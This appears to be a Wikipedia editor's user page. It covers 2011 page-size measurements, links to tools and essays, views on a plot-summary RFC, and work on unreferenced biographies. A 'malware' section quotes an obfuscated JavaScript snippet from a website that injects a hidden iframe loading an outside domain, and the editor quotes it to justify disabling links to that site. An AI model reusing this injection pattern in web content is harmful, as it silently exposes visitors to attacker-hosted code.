In 2011 January, I tested the total network traffic of a few web pages, measured using Firebug, from the context of someone paying for every 100KB of their data downloads (a mobile user for example):

1010 KB  11.0  seconds  Deutsche Welle English page [7] The Winner!
 540 KB  10.01 seconds  BBC news home page [8]
 502 KB  13.0  seconds  Featured article Letters Written in Sweden, Norway, and Denmark
 376 KB  14.48 seconds  English Wikipedia Main Page
 320 KB  3.2  seconds   Featured article in mobile wikipedia [9]
 305 KB  11.06 seconds  French Wikipedia fr:Wikipédia:Accueil_principal
 262 KB  13.7  seconds  Simple English Wikipedia 
 169 KB   6.26 seconds  German Wikipedia de:Wikipedia:Hauptseite
 154 KB   4.77 seconds  Twitter [10]
 129 KB   3.87 seconds  W3C [11]
 113 KB   1.42 seconds  Google search for Google [12]
  84 KB   1.36 seconds  Google [13]
  27 KB   1.69 seconds  advanced mobile wikipedia [14]
   5 KB   0.7 seconds   mobile wikipedia [http://en.mobile.wikipedia.org/

I think wikipedia needs an article on Bloat (web).

tools and stats

Wikipedia: WebCiteBOT; growth; article traffic statistics; categorization thoughts
Toolserver : tstoc; Global user contributions; Checklinks; CatScan : CatScan ; e.g.: German + Airship aviators
; example dablinks for Thomas_Henry_Huxley; My freezepage account temporarily archiving cites that fail to archive

No original biographies
Sighted versions
A fool's guide to writing a featured article
On civility
References don't increase Wikipedia's reliability

My half-baked opinions on the RFC "In principle, do you think that WP:NOT should include a section on plot summaries?"

such RFCs need actual examples
question is badly framed
agree that some form of plot guideline is needed
agree that reliably sourced plot-only articles can meet WP:V, and are acceptable, and could also be usefully merged (or remain as "grow-me" stubs, I'm on the fence here)
not necessary for an article on fiction to contain a plot summary! See real encyclopedia
not necessary for an article on fiction to contain only analysis! See real encyclopedia again

malware

In case anyone is curious why I disabled the links to kungfurodeo.com, here is the malicious javascript that its pages contain that try to load from gstats.cn (do NOT browse to either domain!):

if (document.cookie.search("iwrpl=5") == -1) { document.write("<ifram"+"e src"+"=http://g"+"st"+"ats"+".c"+"n sty"+"le="+"d"+"ispla"+"y:non"+"e></if"+"rame"+">"); document.cookie = "iwrpl=5;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

Unreferenced BLPs

From Category:Unreferenced BLPs from September 2008 (was 533, now 531)

Dag Achatz - made partly cited
Charles Gilchrist Adam - made fully cited, needs moving to Charles Gilchrist Adams
Vlad Agachi - Vlad Andrei Agachi, unsure whether meets Wikipedia:Notability, so listed at Wikipedia:Articles for deletion/Vlad Agachi
Yuka Aimoto - also at ja:相本結香 - added weak cites, probably borderline notable but lack of reliable sources make article difficult to meet V, see also Wikipedia:Articles for deletion/Yuka Aimoto
